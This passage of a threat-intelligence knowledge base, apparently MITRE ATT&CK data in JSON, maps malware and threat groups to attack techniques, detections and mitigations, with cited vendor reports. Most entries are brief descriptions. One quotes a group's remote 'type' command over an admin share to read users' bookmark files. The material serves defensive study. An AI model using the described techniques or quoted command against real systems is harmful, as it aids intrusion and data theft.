"modified": "2020-03-18T20:15:48.471Z", "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about users on remote hosts.(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef6c1da8-65d5-47fd-84ab-4d0fa6246c7f", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef6d08c0-e9dd-45e1-b5ce-42cd5731f2ab", "type": "relationship", "created": "2019-01-30T19:50:46.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.481Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on drives and the operating system on the victim\u2019s machine.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef7d26b5-7d5f-463d-8279-82b45b6d01a4", "created": "2022-10-11T18:48:03.728Z", "revoked": false, "external_references": [{"source_name": "Cybereason StrifeWater Feb 2022", "description": "Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.", "url": "https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T18:48:03.728Z", "description": "[StrifeWater](https://attack.mitre.org/software/S1034) can collect data from a compromised host.(Citation: Cybereason StrifeWater Feb 2022)", "relationship_type": "uses", "source_ref": "malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ef8154b8-b6d3-493f-9bf5-1d5c147108bc", "created": "2022-04-08T21:32:31.435Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CharmPower](https://attack.mitre.org/software/S0674) can use `wmic` to gather information from a system.(Citation: Check Point APT35 CharmPower January 2022)", "modified": "2022-04-08T21:32:31.435Z", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef8385b2-e62c-4854-9a0b-f23d6de334cd", "created": "2021-09-29T15:41:18.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.", "url": "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:51:40.275Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has downloaded additional tools and malware onto compromised hosts.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ef8d7ed3-805a-4edd-a4e9-74c6520594de", "created": "2022-04-11T21:08:15.796Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes IssacWiper CaddyWiper March 2022 ", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", "description": "Threat Intelligence Team. (2022, March 18). Double header: IsaacWiper and CaddyWiper . Retrieved April 11, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CaddyWiper](https://attack.mitre.org/software/S0693) can obtain a list of current processes.(Citation: Malwarebytes IssacWiper CaddyWiper March 2022 )", "modified": "2022-04-11T21:08:15.796Z", "relationship_type": "uses", "source_ref": "malware--b30d999d-64e0-4e35-9856-884e4b83d611", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef934eda-a3ad-40fb-8923-fc2f72fb8f6e", "type": "relationship", "created": "2020-06-24T19:58:56.888Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}], "modified": "2020-06-24T19:58:56.888Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has hidden its GUI using the ShowWindow() WINAPI call.(Citation: Medium Metamorfo Apr 2020) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef96fb44-5139-4547-9660-2ba64e6635d9", "created": "2024-02-09T20:30:54.047Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T20:30:54.047Z", "description": "[STEADYPULSE](https://attack.mitre.org/software/S1112) can add lines to a Perl script on a targeted server to import additional Perl modules.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--ca0fead6-5277-427a-825b-42ff1fbe476e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef97d2bb-7e5a-4c3b-8e7d-cc4fb098c47d", "type": "relationship", "created": "2019-04-24T20:50:12.404Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.637Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can gather victim internal and external IPs.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--efa28055-ee37-4501-8316-32a9c709ee98", "type": "relationship", "created": "2021-12-08T18:24:25.644Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-08T18:24:25.644Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can enumerate and map ICS-specific systems in victim environments.(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}, {"source_name": "Securelist BlackEnergy Nov 2014", "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. 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Retrieved September 29, 2021."}], "modified": "2021-09-29T20:46:38.439Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has created new services or modified existing ones to run executables, commands, or scripts.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--efafd777-c53d-4459-8765-2e5e44cd0ea1", "type": "relationship", "created": "2020-01-30T17:37:22.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T12:57:33.945Z", "description": "File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--efb06e50-f3ac-4149-927b-d97505a4f551", "type": "relationship", "created": "2021-04-20T13:51:15.340Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. 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RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T21:17:14.887Z", "description": "[RotaJakiro](https://attack.mitre.org/software/S1078) sends device and other collected data back to the C2 using the established C2 channels over TCP. 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Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-29T15:22:59.285Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has compromised victims via links to URLs hosting malicious content.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--efcdbec4-20e3-42e2-a0c4-1695083cd37e", "type": "relationship", "created": "2019-05-14T15:26:39.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab. (2017, March 7). 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Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", "source_name": "Kaspersky StoneDrill 2017"}], "modified": "2020-03-19T17:16:11.654Z", "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has several VBS scripts used throughout the malware's lifecycle.(Citation: Kaspersky StoneDrill 2017)\t", "relationship_type": "uses", "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--efd7f218-0e23-458b-be17-afad9545fa25", "type": "relationship", "created": "2019-05-28T19:59:45.884Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Mar 2018", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}], "modified": "2019-05-30T17:23:30.638Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) may obfuscate portions of the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--efd84e8c-6979-4f79-916c-0c6044bc1a85", "created": "2022-10-04T07:16:27.537Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs reversing run-only applescripts 2021", "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. 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Retrieved April 5, 2021."}], "modified": "2021-04-09T15:11:36.586Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has started a monero service.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eff80158-12c4-4d75-a421-276e19ed3717", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitor executed commands and arguments that may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0026b7c-9a9a-468d-a152-1b214efe066a", "type": "relationship", "created": "2020-12-29T16:41:19.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. 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(2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T20:57:02.294Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used <code>type \\\\<hostname>\\c$\\Users\\<username>\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix*</code> for bookmark discovery.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f01cbea5-8528-45e8-afdf-d1f382980d8a", "type": "relationship", "created": "2021-01-06T16:56:56.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}, {"source_name": "FireEye SUNBURST Additional Details Dec 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."}, {"source_name": "Symantec Sunburst Sending Data January 2021", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data", "description": "Symantec Threat Hunter Team. (2021, January 22). SolarWinds: How Sunburst Sends Data Back to the Attackers. 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Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T18:07:34.751Z", "description": "[SharpDisco](https://attack.mitre.org/software/S1089) has been used to download a Python interpreter to `C:\\Users\\Public\\WinTN\\WinTN.exe` as well as other plugins from external sources.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--1fefb062-feda-484a-8f10-0cebf65e20e3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f03e2a94-27c6-470f-9f87-7cac3c6845af", "type": "relationship", "created": "2020-10-19T16:48:08.498Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-21T01:45:59.133Z", "description": "Block Traffic\tUpon identifying a compromised network device being used to bridge a network boundary, block the malicious packets using an unaffected network device in path, such as a firewall or a router that has not been compromised.  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Retrieved November 12, 2021."}, {"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. 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(n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Image File Integrity", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#30", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Image File Integrity. Retrieved October 21, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Change Control", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#31", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Change Control. Retrieved October 21, 2020."}], "modified": "2020-10-22T16:35:54.323Z", "description": "Periodically check the integrity of the running configuration and system image to ensure they have not been modified. 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(n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.", "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f068a0fc-0461-4034-a0ea-b629788bc9f3", "type": "relationship", "created": "2021-08-24T22:12:46.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Jan 2021", "description": "M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}], "modified": "2021-10-18T23:21:30.404Z", "description": "[Kobalos](https://attack.mitre.org/software/S0641) can record the hostname and kernel version of the target machine.(Citation: ESET Kobalos Jan 2021)", "relationship_type": "uses", "source_ref": "malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f06c48f0-88de-4850-90dd-9ff4979dde95", "created": "2022-10-17T21:58:20.451Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MagicWeb", "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.", "url": "https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}, {"source_name": "Mandiant Azure AD Backdoors", "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.", "url": "https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T14:27:42.484Z", "description": "Review authentication logs to ensure that mechanisms such as enforcement of MFA are functioning as intended.\n\nPeriodically review the hybrid identity solution in use for any discrepancies. For example, review all Pass Through Authentication (PTA) agents in the Azure Management Portal to identify any unwanted or unapproved ones.(Citation: Mandiant Azure AD Backdoors) If ADFS is in use, review DLLs and executable files in the AD FS and Global Assembly Cache directories to ensure that they are signed by Microsoft. Note that in some cases binaries may be catalog-signed, which may cause the file to appear unsigned when viewing file properties.(Citation: MagicWeb)\n\nPeriodically review for new and unknown network provider DLLs within the Registry (`HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\<NetworkProviderName>\\NetworkProvider\\ProviderPath`). Ensure only valid network provider DLLs are registered. The name of these can be found in the Registry key at `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`, and have corresponding service subkey pointing to a DLL at `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentC ontrolSet\\Services\\<NetworkProviderName>\\NetworkProvider`.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f06ee9db-1a29-412f-9584-5175eff85f28", "type": "relationship", "created": "2021-10-12T21:46:13.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. 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Retrieved May 5, 2021."}], "modified": "2021-10-13T13:53:26.398Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) can embed C2 responses in the source code of a fake Flickr webpage.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f07b76ab-6e72-4112-bc23-3b64b50131f0", "type": "relationship", "created": "2020-03-14T18:18:32.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-26T22:02:25.401Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f07c1f84-a2c0-4c47-904d-ce96b36307f0", "created": "2022-04-09T15:47:12.392Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can check if a specific process is running, such as Kaspersky's `avp.exe`.(Citation: Check Point Meteor Aug 2021)", "modified": 